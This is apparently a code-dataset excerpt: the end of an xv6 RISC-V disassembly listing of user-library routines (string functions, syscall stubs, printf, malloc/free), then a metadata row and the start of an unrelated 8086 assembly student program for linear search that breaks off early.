1170: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') 1174: 0006c603 lbu a2,0(a3) 1178: fd06071b addiw a4,a2,-48 117c: 0ff77713 andi a4,a4,255 1180: fee5f1e3 bgeu a1,a4,1162 <atoi+0x1e> return n; } 1184: 6422 ld s0,8(sp) 1186: 0141 addi sp,sp,16 1188: 8082 ret n = 0; 118a: 4501 li a0,0 118c: bfe5 j 1184 <atoi+0x40> 000000000000118e <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 118e: 1141 addi sp,sp,-16 1190: e422 sd s0,8(sp) 1192: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { 1194: 02b57463 bgeu a0,a1,11bc <memmove+0x2e> while(n-- > 0) 1198: 00c05f63 blez a2,11b6 <memmove+0x28> 119c: 1602 slli a2,a2,0x20 119e: 9201 srli a2,a2,0x20 11a0: 00c507b3 add a5,a0,a2 dst = vdst; 11a4: 872a mv a4,a0 *dst++ = *src++; 11a6: 0585 addi a1,a1,1 11a8: 0705 addi a4,a4,1 11aa: fff5c683 lbu a3,-1(a1) 11ae: fed70fa3 sb a3,-1(a4) while(n-- > 0) 11b2: fee79ae3 bne a5,a4,11a6 <memmove+0x18> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } 11b6: 6422 ld s0,8(sp) 11b8: 0141 addi sp,sp,16 11ba: 8082 ret dst += n; 11bc: 00c50733 add a4,a0,a2 src += n; 11c0: 95b2 add a1,a1,a2 while(n-- > 0) 11c2: fec05ae3 blez a2,11b6 <memmove+0x28> 11c6: fff6079b addiw a5,a2,-1 11ca: 1782 slli a5,a5,0x20 11cc: 9381 srli a5,a5,0x20 11ce: fff7c793 not a5,a5 11d2: 97ba add a5,a5,a4 *--dst = *--src; 11d4: 15fd addi a1,a1,-1 11d6: 177d addi a4,a4,-1 11d8: 0005c683 lbu a3,0(a1) 11dc: 00d70023 sb a3,0(a4) while(n-- > 0) 11e0: fee79ae3 bne a5,a4,11d4 <memmove+0x46> 11e4: bfc9 j 11b6 <memmove+0x28> 00000000000011e6 <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { 11e6: 1141 addi sp,sp,-16 11e8: e422 sd s0,8(sp) 11ea: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { 11ec: ca05 beqz a2,121c <memcmp+0x36> 11ee: fff6069b addiw a3,a2,-1 11f2: 1682 slli a3,a3,0x20 11f4: 9281 srli a3,a3,0x20 11f6: 0685 addi a3,a3,1 11f8: 96aa add a3,a3,a0 if (*p1 != *p2) { 11fa: 00054783 lbu a5,0(a0) 11fe: 0005c703 lbu a4,0(a1) 1202: 00e79863 bne a5,a4,1212 <memcmp+0x2c> return *p1 - *p2; } p1++; 1206: 0505 addi a0,a0,1 p2++; 1208: 0585 addi a1,a1,1 while (n-- > 0) { 120a: fed518e3 bne a0,a3,11fa <memcmp+0x14> } return 0; 120e: 4501 li a0,0 1210: a019 j 1216 <memcmp+0x30> return *p1 - *p2; 1212: 40e7853b subw a0,a5,a4 } 1216: 6422 ld s0,8(sp) 1218: 0141 addi sp,sp,16 121a: 8082 ret return 0; 121c: 4501 li a0,0 121e: bfe5 j 1216 <memcmp+0x30> 0000000000001220 <memcpy>: void * memcpy(void *dst, const void *src, uint n) { 1220: 1141 addi sp,sp,-16 1222: e406 sd ra,8(sp) 1224: e022 sd s0,0(sp) 1226: 0800 addi s0,sp,16 return memmove(dst, src, n); 1228: 00000097 auipc ra,0x0 122c: f66080e7 jalr -154(ra) # 118e <memmove> } 1230: 60a2 ld ra,8(sp) 1232: 6402 ld s0,0(sp) 1234: 0141 addi sp,sp,16 1236: 8082 ret 0000000000001238 <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork 1238: 4885 li a7,1 ecall 123a: 00000073 ecall ret 123e: 8082 ret 0000000000001240 <exit>: .global exit exit: li a7, SYS_exit 1240: 4889 li a7,2 ecall 1242: 00000073 ecall ret 1246: 8082 ret 0000000000001248 <wait>: .global wait wait: li a7, SYS_wait 1248: 488d li a7,3 ecall 124a: 00000073 ecall ret 124e: 8082 ret 0000000000001250 <pipe>: .global pipe pipe: li a7, SYS_pipe 1250: 4891 li a7,4 ecall 1252: 00000073 ecall ret 1256: 8082 ret 0000000000001258 <read>: .global read read: li a7, SYS_read 1258: 4895 li a7,5 ecall 125a: 00000073 ecall ret 125e: 8082 ret 0000000000001260 <write>: .global write write: li a7, SYS_write 1260: 48c1 li a7,16 ecall 1262: 00000073 ecall ret 1266: 8082 ret 0000000000001268 <close>: .global close close: li a7, SYS_close 1268: 48d5 li a7,21 ecall 126a: 00000073 ecall ret 126e: 8082 ret 0000000000001270 <kill>: .global kill kill: li a7, SYS_kill 1270: 4899 li a7,6 ecall 1272: 00000073 ecall ret 1276: 8082 ret 0000000000001278 <exec>: .global exec exec: li a7, SYS_exec 1278: 489d li a7,7 ecall 127a: 00000073 ecall ret 127e: 8082 ret 0000000000001280 <open>: .global open open: li a7, SYS_open 1280: 48bd li a7,15 ecall 1282: 00000073 ecall ret 1286: 8082 ret 0000000000001288 <mknod>: .global mknod mknod: li a7, SYS_mknod 1288: 48c5 li a7,17 ecall 128a: 00000073 ecall ret 128e: 8082 ret 0000000000001290 <unlink>: .global unlink unlink: li a7, SYS_unlink 1290: 48c9 li a7,18 ecall 1292: 00000073 ecall ret 1296: 8082 ret 0000000000001298 <fstat>: .global fstat fstat: li a7, SYS_fstat 1298: 48a1 li a7,8 ecall 129a: 00000073 ecall ret 129e: 8082 ret 00000000000012a0 <link>: .global link link: li a7, SYS_link 12a0: 48cd li a7,19 ecall 12a2: 00000073 ecall ret 12a6: 8082 ret 00000000000012a8 <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir 12a8: 48d1 li a7,20 ecall 12aa: 00000073 ecall ret 12ae: 8082 ret 00000000000012b0 <chdir>: .global chdir chdir: li a7, SYS_chdir 12b0: 48a5 li a7,9 ecall 12b2: 00000073 ecall ret 12b6: 8082 ret 00000000000012b8 <dup>: .global dup dup: li a7, SYS_dup 12b8: 48a9 li a7,10 ecall 12ba: 00000073 ecall ret 12be: 8082 ret 00000000000012c0 <getpid>: .global getpid getpid: li a7, SYS_getpid 12c0: 48ad li a7,11 ecall 12c2: 00000073 ecall ret 12c6: 8082 ret 00000000000012c8 <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk 12c8: 48b1 li a7,12 ecall 12ca: 00000073 ecall ret 12ce: 8082 ret 00000000000012d0 <sleep>: .global sleep sleep: li a7, SYS_sleep 12d0: 48b5 li a7,13 ecall 12d2: 00000073 ecall ret 12d6: 8082 ret 00000000000012d8 <uptime>: .global uptime uptime: li a7, SYS_uptime 12d8: 48b9 li a7,14 ecall 12da: 00000073 ecall ret 12de: 8082 ret 00000000000012e0 <setAndGetPageFaultsNum>: .global setAndGetPageFaultsNum setAndGetPageFaultsNum: li a7, SYS_setAndGetPageFaultsNum 12e0: 48d9 li a7,22 ecall 12e2: 00000073 ecall ret 12e6: 8082 ret 00000000000012e8 <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { 12e8: 1101 addi sp,sp,-32 12ea: ec06 sd ra,24(sp) 12ec: e822 sd s0,16(sp) 12ee: 1000 addi s0,sp,32 12f0: feb407a3 sb a1,-17(s0) write(fd, &c, 1); 12f4: 4605 li a2,1 12f6: fef40593 addi a1,s0,-17 12fa: 00000097 auipc ra,0x0 12fe: f66080e7 jalr -154(ra) # 1260 <write> } 1302: 60e2 ld ra,24(sp) 1304: 6442 ld s0,16(sp) 1306: 6105 addi sp,sp,32 1308: 8082 ret 000000000000130a <printint>: static void printint(int fd, int xx, int base, int sgn) { 130a: 7139 addi sp,sp,-64 130c: fc06 sd ra,56(sp) 130e: f822 sd s0,48(sp) 1310: f426 sd s1,40(sp) 1312: f04a sd s2,32(sp) 1314: ec4e sd s3,24(sp) 1316: 0080 addi s0,sp,64 1318: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 131a: c299 beqz a3,1320 <printint+0x16> 131c: 0805c863 bltz a1,13ac <printint+0xa2> neg = 1; x = -xx; } else { x = xx; 1320: 2581 sext.w a1,a1 neg = 0; 1322: 4881 li a7,0 1324: fc040693 addi a3,s0,-64 } i = 0; 1328: 4701 li a4,0 do{ buf[i++] = digits[x % base]; 132a: 2601 sext.w a2,a2 132c: 00001517 auipc a0,0x1 1330: c9450513 addi a0,a0,-876 # 1fc0 <digits> 1334: 883a mv a6,a4 1336: 2705 addiw a4,a4,1 1338: 02c5f7bb remuw a5,a1,a2 133c: 1782 slli a5,a5,0x20 133e: 9381 srli a5,a5,0x20 1340: 97aa add a5,a5,a0 1342: 0007c783 lbu a5,0(a5) 1346: 00f68023 sb a5,0(a3) }while((x /= base) != 0); 134a: 0005879b sext.w a5,a1 134e: 02c5d5bb divuw a1,a1,a2 1352: 0685 addi a3,a3,1 1354: fec7f0e3 bgeu a5,a2,1334 <printint+0x2a> if(neg) 1358: 00088b63 beqz a7,136e <printint+0x64> buf[i++] = '-'; 135c: fd040793 addi a5,s0,-48 1360: 973e add a4,a4,a5 1362: 02d00793 li a5,45 1366: fef70823 sb a5,-16(a4) 136a: 0028071b addiw a4,a6,2 while(--i >= 0) 136e: 02e05863 blez a4,139e <printint+0x94> 1372: fc040793 addi a5,s0,-64 1376: 00e78933 add s2,a5,a4 137a: fff78993 addi s3,a5,-1 137e: 99ba add s3,s3,a4 1380: 377d addiw a4,a4,-1 1382: 1702 slli a4,a4,0x20 1384: 9301 srli a4,a4,0x20 1386: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); 138a: fff94583 lbu a1,-1(s2) 138e: 8526 mv a0,s1 1390: 00000097 auipc ra,0x0 1394: f58080e7 jalr -168(ra) # 12e8 <putc> while(--i >= 0) 1398: 197d addi s2,s2,-1 139a: ff3918e3 bne s2,s3,138a <printint+0x80> } 139e: 70e2 ld ra,56(sp) 13a0: 7442 ld s0,48(sp) 13a2: 74a2 ld s1,40(sp) 13a4: 7902 ld s2,32(sp) 13a6: 69e2 ld s3,24(sp) 13a8: 6121 addi sp,sp,64 13aa: 8082 ret x = -xx; 13ac: 40b005bb negw a1,a1 neg = 1; 13b0: 4885 li a7,1 x = -xx; 13b2: bf8d j 1324 <printint+0x1a> 00000000000013b4 <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { 13b4: 7119 addi sp,sp,-128 13b6: fc86 sd ra,120(sp) 13b8: f8a2 sd s0,112(sp) 13ba: f4a6 sd s1,104(sp) 13bc: f0ca sd s2,96(sp) 13be: ecce sd s3,88(sp) 13c0: e8d2 sd s4,80(sp) 13c2: e4d6 sd s5,72(sp) 13c4: e0da sd s6,64(sp) 13c6: fc5e sd s7,56(sp) 13c8: f862 sd s8,48(sp) 13ca: f466 sd s9,40(sp) 13cc: f06a sd s10,32(sp) 13ce: ec6e sd s11,24(sp) 13d0: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ 13d2: 0005c903 lbu s2,0(a1) 13d6: 18090f63 beqz s2,1574 <vprintf+0x1c0> 13da: 8aaa mv s5,a0 13dc: 8b32 mv s6,a2 13de: 00158493 addi s1,a1,1 state = 0; 13e2: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 13e4: 02500a13 li s4,37 if(c == 'd'){ 13e8: 06400c13 li s8,100 printint(fd, va_arg(ap, int), 10, 1); } else if(c == 'l') { 13ec: 06c00c93 li s9,108 printint(fd, va_arg(ap, uint64), 10, 0); } else if(c == 'x') { 13f0: 07800d13 li s10,120 printint(fd, va_arg(ap, int), 16, 0); } else if(c == 'p') { 13f4: 07000d93 li s11,112 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 13f8: 00001b97 auipc s7,0x1 13fc: bc8b8b93 addi s7,s7,-1080 # 1fc0 <digits> 1400: a839 j 141e <vprintf+0x6a> putc(fd, c); 1402: 85ca mv a1,s2 1404: 8556 mv a0,s5 1406: 00000097 auipc ra,0x0 140a: ee2080e7 jalr -286(ra) # 12e8 <putc> 140e: a019 j 1414 <vprintf+0x60> } else if(state == '%'){ 1410: 01498f63 beq s3,s4,142e <vprintf+0x7a> for(i = 0; fmt[i]; i++){ 1414: 0485 addi s1,s1,1 1416: fff4c903 lbu s2,-1(s1) 141a: 14090d63 beqz s2,1574 <vprintf+0x1c0> c = fmt[i] & 0xff; 141e: 0009079b sext.w a5,s2 if(state == 0){ 1422: fe0997e3 bnez s3,1410 <vprintf+0x5c> if(c == '%'){ 1426: fd479ee3 bne a5,s4,1402 <vprintf+0x4e> state = '%'; 142a: 89be mv s3,a5 142c: b7e5 j 1414 <vprintf+0x60> if(c == 'd'){ 142e: 05878063 beq a5,s8,146e <vprintf+0xba> } else if(c == 'l') { 1432: 05978c63 beq a5,s9,148a <vprintf+0xd6> } else if(c == 'x') { 1436: 07a78863 beq a5,s10,14a6 <vprintf+0xf2> } else if(c == 'p') { 143a: 09b78463 beq a5,s11,14c2 <vprintf+0x10e> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ 143e: 07300713 li a4,115 1442: 0ce78663 beq a5,a4,150e <vprintf+0x15a> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 1446: 06300713 li a4,99 144a: 0ee78e63 beq a5,a4,1546 <vprintf+0x192> putc(fd, va_arg(ap, uint)); } else if(c == '%'){ 144e: 11478863 beq a5,s4,155e <vprintf+0x1aa> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 1452: 85d2 mv a1,s4 1454: 8556 mv a0,s5 1456: 00000097 auipc ra,0x0 145a: e92080e7 jalr -366(ra) # 12e8 <putc> putc(fd, c); 145e: 85ca mv a1,s2 1460: 8556 mv a0,s5 1462: 00000097 auipc ra,0x0 1466: e86080e7 jalr -378(ra) # 12e8 <putc> } state = 0; 146a: 4981 li s3,0 146c: b765 j 1414 <vprintf+0x60> printint(fd, va_arg(ap, int), 10, 1); 146e: 008b0913 addi s2,s6,8 1472: 4685 li a3,1 1474: 4629 li a2,10 1476: 000b2583 lw a1,0(s6) 147a: 8556 mv a0,s5 147c: 00000097 auipc ra,0x0 1480: e8e080e7 jalr -370(ra) # 130a <printint> 1484: 8b4a mv s6,s2 state = 0; 1486: 4981 li s3,0 1488: b771 j 1414 <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 148a: 008b0913 addi s2,s6,8 148e: 4681 li a3,0 1490: 4629 li a2,10 1492: 000b2583 lw a1,0(s6) 1496: 8556 mv a0,s5 1498: 00000097 auipc ra,0x0 149c: e72080e7 jalr -398(ra) # 130a <printint> 14a0: 8b4a mv s6,s2 state = 0; 14a2: 4981 li s3,0 14a4: bf85 j 1414 <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 14a6: 008b0913 addi s2,s6,8 14aa: 4681 li a3,0 14ac: 4641 li a2,16 14ae: 000b2583 lw a1,0(s6) 14b2: 8556 mv a0,s5 14b4: 00000097 auipc ra,0x0 14b8: e56080e7 jalr -426(ra) # 130a <printint> 14bc: 8b4a mv s6,s2 state = 0; 14be: 4981 li s3,0 14c0: bf91 j 1414 <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 14c2: 008b0793 addi a5,s6,8 14c6: f8f43423 sd a5,-120(s0) 14ca: 000b3983 ld s3,0(s6) putc(fd, '0'); 14ce: 03000593 li a1,48 14d2: 8556 mv a0,s5 14d4: 00000097 auipc ra,0x0 14d8: e14080e7 jalr -492(ra) # 12e8 <putc> putc(fd, 'x'); 14dc: 85ea mv a1,s10 14de: 8556 mv a0,s5 14e0: 00000097 auipc ra,0x0 14e4: e08080e7 jalr -504(ra) # 12e8 <putc> 14e8: 4941 li s2,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 14ea: 03c9d793 srli a5,s3,0x3c 14ee: 97de add a5,a5,s7 14f0: 0007c583 lbu a1,0(a5) 14f4: 8556 mv a0,s5 14f6: 00000097 auipc ra,0x0 14fa: df2080e7 jalr -526(ra) # 12e8 <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 14fe: 0992 slli s3,s3,0x4 1500: 397d addiw s2,s2,-1 1502: fe0914e3 bnez s2,14ea <vprintf+0x136> printptr(fd, va_arg(ap, uint64)); 1506: f8843b03 ld s6,-120(s0) state = 0; 150a: 4981 li s3,0 150c: b721 j 1414 <vprintf+0x60> s = va_arg(ap, char*); 150e: 008b0993 addi s3,s6,8 1512: 000b3903 ld s2,0(s6) if(s == 0) 1516: 02090163 beqz s2,1538 <vprintf+0x184> while(*s != 0){ 151a: 00094583 lbu a1,0(s2) 151e: c9a1 beqz a1,156e <vprintf+0x1ba> putc(fd, *s); 1520: 8556 mv a0,s5 1522: 00000097 auipc ra,0x0 1526: dc6080e7 jalr -570(ra) # 12e8 <putc> s++; 152a: 0905 addi s2,s2,1 while(*s != 0){ 152c: 00094583 lbu a1,0(s2) 1530: f9e5 bnez a1,1520 <vprintf+0x16c> s = va_arg(ap, char*); 1532: 8b4e mv s6,s3 state = 0; 1534: 4981 li s3,0 1536: bdf9 j 1414 <vprintf+0x60> s = "(null)"; 1538: 00001917 auipc s2,0x1 153c: a8090913 addi s2,s2,-1408 # 1fb8 <malloc+0x93a> while(*s != 0){ 1540: 02800593 li a1,40 1544: bff1 j 1520 <vprintf+0x16c> putc(fd, va_arg(ap, uint)); 1546: 008b0913 addi s2,s6,8 154a: 000b4583 lbu a1,0(s6) 154e: 8556 mv a0,s5 1550: 00000097 auipc ra,0x0 1554: d98080e7 jalr -616(ra) # 12e8 <putc> 1558: 8b4a mv s6,s2 state = 0; 155a: 4981 li s3,0 155c: bd65 j 1414 <vprintf+0x60> putc(fd, c); 155e: 85d2 mv a1,s4 1560: 8556 mv a0,s5 1562: 00000097 auipc ra,0x0 1566: d86080e7 jalr -634(ra) # 12e8 <putc> state = 0; 156a: 4981 li s3,0 156c: b565 j 1414 <vprintf+0x60> s = va_arg(ap, char*); 156e: 8b4e mv s6,s3 state = 0; 1570: 4981 li s3,0 1572: b54d j 1414 <vprintf+0x60> } } } 1574: 70e6 ld ra,120(sp) 1576: 7446 ld s0,112(sp) 1578: 74a6 ld s1,104(sp) 157a: 7906 ld s2,96(sp) 157c: 69e6 ld s3,88(sp) 157e: 6a46 ld s4,80(sp) 1580: 6aa6 ld s5,72(sp) 1582: 6b06 ld s6,64(sp) 1584: 7be2 ld s7,56(sp) 1586: 7c42 ld s8,48(sp) 1588: 7ca2 ld s9,40(sp) 158a: 7d02 ld s10,32(sp) 158c: 6de2 ld s11,24(sp) 158e: 6109 addi sp,sp,128 1590: 8082 ret 0000000000001592 <fprintf>: void fprintf(int fd, const char *fmt, ...) { 1592: 715d addi sp,sp,-80 1594: ec06 sd ra,24(sp) 1596: e822 sd s0,16(sp) 1598: 1000 addi s0,sp,32 159a: e010 sd a2,0(s0) 159c: e414 sd a3,8(s0) 159e: e818 sd a4,16(s0) 15a0: ec1c sd a5,24(s0) 15a2: 03043023 sd a6,32(s0) 15a6: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 15aa: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 15ae: 8622 mv a2,s0 15b0: 00000097 auipc ra,0x0 15b4: e04080e7 jalr -508(ra) # 13b4 <vprintf> } 15b8: 60e2 ld ra,24(sp) 15ba: 6442 ld s0,16(sp) 15bc: 6161 addi sp,sp,80 15be: 8082 ret 00000000000015c0 <printf>: void printf(const char *fmt, ...) { 15c0: 711d addi sp,sp,-96 15c2: ec06 sd ra,24(sp) 15c4: e822 sd s0,16(sp) 15c6: 1000 addi s0,sp,32 15c8: e40c sd a1,8(s0) 15ca: e810 sd a2,16(s0) 15cc: ec14 sd a3,24(s0) 15ce: f018 sd a4,32(s0) 15d0: f41c sd a5,40(s0) 15d2: 03043823 sd a6,48(s0) 15d6: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 15da: 00840613 addi a2,s0,8 15de: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 15e2: 85aa mv a1,a0 15e4: 4505 li a0,1 15e6: 00000097 auipc ra,0x0 15ea: dce080e7 jalr -562(ra) # 13b4 <vprintf> } 15ee: 60e2 ld ra,24(sp) 15f0: 6442 ld s0,16(sp) 15f2: 6125 addi sp,sp,96 15f4: 8082 ret 00000000000015f6 <free>: static Header base; static Header *freep; void free(void *ap) { 15f6: 1141 addi sp,sp,-16 15f8: e422 sd s0,8(sp) 15fa: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 15fc: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1600: 00001797 auipc a5,0x1 1604: 9e07b783 ld a5,-1568(a5) # 1fe0 <freep> 1608: a805 j 1638 <free+0x42> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 160a: 4618 lw a4,8(a2) 160c: 9db9 addw a1,a1,a4 160e: feb52c23 sw a1,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 1612: 6398 ld a4,0(a5) 1614: 6318 ld a4,0(a4) 1616: fee53823 sd a4,-16(a0) 161a: a091 j 165e <free+0x68> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 161c: ff852703 lw a4,-8(a0) 1620: 9e39 addw a2,a2,a4 1622: c790 sw a2,8(a5) p->s.ptr = bp->s.ptr; 1624: ff053703 ld a4,-16(a0) 1628: e398 sd a4,0(a5) 162a: a099 j 1670 <free+0x7a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 162c: 6398 ld a4,0(a5) 162e: 00e7e463 bltu a5,a4,1636 <free+0x40> 1632: 00e6ea63 bltu a3,a4,1646 <free+0x50> { 1636: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1638: fed7fae3 bgeu a5,a3,162c <free+0x36> 163c: 6398 ld a4,0(a5) 163e: 00e6e463 bltu a3,a4,1646 <free+0x50> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1642: fee7eae3 bltu a5,a4,1636 <free+0x40> if(bp + bp->s.size == p->s.ptr){ 1646: ff852583 lw a1,-8(a0) 164a: 6390 ld a2,0(a5) 164c: 02059813 slli a6,a1,0x20 1650: 01c85713 srli a4,a6,0x1c 1654: 9736 add a4,a4,a3 1656: fae60ae3 beq a2,a4,160a <free+0x14> bp->s.ptr = p->s.ptr; 165a: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 165e: 4790 lw a2,8(a5) 1660: 02061593 slli a1,a2,0x20 1664: 01c5d713 srli a4,a1,0x1c 1668: 973e add a4,a4,a5 166a: fae689e3 beq a3,a4,161c <free+0x26> } else p->s.ptr = bp; 166e: e394 sd a3,0(a5) freep = p; 1670: 00001717 auipc a4,0x1 1674: 96f73823 sd a5,-1680(a4) # 1fe0 <freep> } 1678: 6422 ld s0,8(sp) 167a: 0141 addi sp,sp,16 167c: 8082 ret 000000000000167e <malloc>: return freep; } void* malloc(uint nbytes) { 167e: 7139 addi sp,sp,-64 1680: fc06 sd ra,56(sp) 1682: f822 sd s0,48(sp) 1684: f426 sd s1,40(sp) 1686: f04a sd s2,32(sp) 1688: ec4e sd s3,24(sp) 168a: e852 sd s4,16(sp) 168c: e456 sd s5,8(sp) 168e: e05a sd s6,0(sp) 1690: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1692: 02051493 slli s1,a0,0x20 1696: 9081 srli s1,s1,0x20 1698: 04bd addi s1,s1,15 169a: 8091 srli s1,s1,0x4 169c: 0014899b addiw s3,s1,1 16a0: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 16a2: 00001517 auipc a0,0x1 16a6: 93e53503 ld a0,-1730(a0) # 1fe0 <freep> 16aa: c515 beqz a0,16d6 <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 16ac: 611c ld a5,0(a0) if(p->s.size >= nunits){ 16ae: 4798 lw a4,8(a5) 16b0: 02977f63 bgeu a4,s1,16ee <malloc+0x70> 16b4: 8a4e mv s4,s3 16b6: 0009871b sext.w a4,s3 16ba: 6685 lui a3,0x1 16bc: 00d77363 bgeu a4,a3,16c2 <malloc+0x44> 16c0: 6a05 lui s4,0x1 16c2: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 16c6: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep){ 16ca: 00001917 auipc s2,0x1 16ce: 91690913 addi s2,s2,-1770 # 1fe0 <freep> if(p == (char*)-1) 16d2: 5afd li s5,-1 16d4: a895 j 1748 <malloc+0xca> base.s.ptr = freep = prevp = &base; 16d6: 00001797 auipc a5,0x1 16da: a0278793 addi a5,a5,-1534 # 20d8 <base> 16de: 00001717 auipc a4,0x1 16e2: 90f73123 sd a5,-1790(a4) # 1fe0 <freep> 16e6: e39c sd a5,0(a5) base.s.size = 0; 16e8: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 16ec: b7e1 j 16b4 <malloc+0x36> if(p->s.size == nunits) 16ee: 02e48c63 beq s1,a4,1726 <malloc+0xa8> p->s.size -= nunits; 16f2: 4137073b subw a4,a4,s3 16f6: c798 sw a4,8(a5) p += p->s.size; 16f8: 02071693 slli a3,a4,0x20 16fc: 01c6d713 srli a4,a3,0x1c 1700: 97ba add a5,a5,a4 p->s.size = nunits; 1702: 0137a423 sw s3,8(a5) freep = prevp; 1706: 00001717 auipc a4,0x1 170a: 8ca73d23 sd a0,-1830(a4) # 1fe0 <freep> return (void*)(p + 1); 170e: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0){ return 0; } } } } 1712: 70e2 ld ra,56(sp) 1714: 7442 ld s0,48(sp) 1716: 74a2 ld s1,40(sp) 1718: 7902 ld s2,32(sp) 171a: 69e2 ld s3,24(sp) 171c: 6a42 ld s4,16(sp) 171e: 6aa2 ld s5,8(sp) 1720: 6b02 ld s6,0(sp) 1722: 6121 addi sp,sp,64 1724: 8082 ret prevp->s.ptr = p->s.ptr; 1726: 6398 ld a4,0(a5) 1728: e118 sd a4,0(a0) 172a: bff1 j 1706 <malloc+0x88> hp->s.size = nu; 172c: 01652423 sw s6,8(a0) free((void*)(hp + 1)); 1730: 0541 addi a0,a0,16 1732: 00000097 auipc ra,0x0 1736: ec4080e7 jalr -316(ra) # 15f6 <free> return freep; 173a: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0){ 173e: d971 beqz a0,1712 <malloc+0x94> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1740: 611c ld a5,0(a0) if(p->s.size >= nunits){ 1742: 4798 lw a4,8(a5) 1744: fa9775e3 bgeu a4,s1,16ee <malloc+0x70> if(p == freep){ 1748: 00093703 ld a4,0(s2) 174c: 853e mv a0,a5 174e: fef719e3 bne a4,a5,1740 <malloc+0xc2> p = sbrk(nu * sizeof(Header)); 1752: 8552 mv a0,s4 1754: 00000097 auipc ra,0x0 1758: b74080e7 jalr -1164(ra) # 12c8 <sbrk> if(p == (char*)-1) 175c: fd5518e3 bne a0,s5,172c <malloc+0xae> return 0; 1760: 4501 li a0,0 1762: bf45 j 1712 <malloc+0x94>
39.336939
132
0.476782
57fdb512228392ae28c523fa52575de6fbbdf3a4
2,798
asm
Assembly
Systems Programming/Assignment 2/prog9_ls.asm
neeladripal/bcse-lab
915d2f535ae95a062438fc85980419646a3951ad
[ "MIT" ]
null
null
null
Systems Programming/Assignment 2/prog9_ls.asm
neeladripal/bcse-lab
915d2f535ae95a062438fc85980419646a3951ad
[ "MIT" ]
null
null
null
Systems Programming/Assignment 2/prog9_ls.asm
neeladripal/bcse-lab
915d2f535ae95a062438fc85980419646a3951ad
[ "MIT" ]
1
2021-08-06T14:39:53.000Z
2021-08-06T14:39:53.000Z
;Program to Implement Linear search. new_line macro mov ah,02h mov dl,0dh int 21h mov dl,0ah int 21h endm ;macro to print space space macro mov ah,02h mov dl,' ' int 21h endm ;macro to print a message printm macro mess lea dx,mess mov ah,09h int 21h endm ;macro to exit exitp macro mov ah,4ch int 21h endm pushall macro push ax push bx push cx push dx endm popall macro pop dx pop cx pop bx pop ax endm ; macro for decimal input dec_input macro local input,skip ; output: bx xor bx,bx mov ah,01h int 21h ;if \r cmp al,0dh je skip input: and ax,000fh push ax ; bx=bx*10+ax mov ax,10 mul bx mov bx,ax pop ax add bx,ax ; take input mov ah,01h int 21h cmp al,0dh jne input skip: endm ; macro for decimal output dec_output macro local start,repeat,display start: ; jump label mov ax, bx ; set ax=bx xor cx, cx ; clear cx mov bx, 10 ; set bx=10 repeat: ; loop label xor dx, dx ; clear dx div bx ; divide ax by bx push dx ; push dx onto the stack inc cx ; increment cx or ax, ax ; take or of ax with ax jne repeat ; jump to label repeat if zf=0 mov ah, 2 ; set output function display: ; loop label pop dx ; pop a value from stack to dx or dl, 30h ; convert decimal to ascii code int 21h ; print a character loop display endm .model small .stack 100h .data inpmsg1 db "Enter size of array: $" inpmsg2 db "Enter elements of array: $" inpmsg3 db 10,13,"Enter element to be searched: $" oupmsg1 db "Element found at index $" oupmsg2 db "Element not found $" arr dw 50 dup(?) s dw ? .code main proc mov ax,@data ; initialize segment registers mov ds,ax printm inpmsg1 dec_input ; input size printm inpmsg2 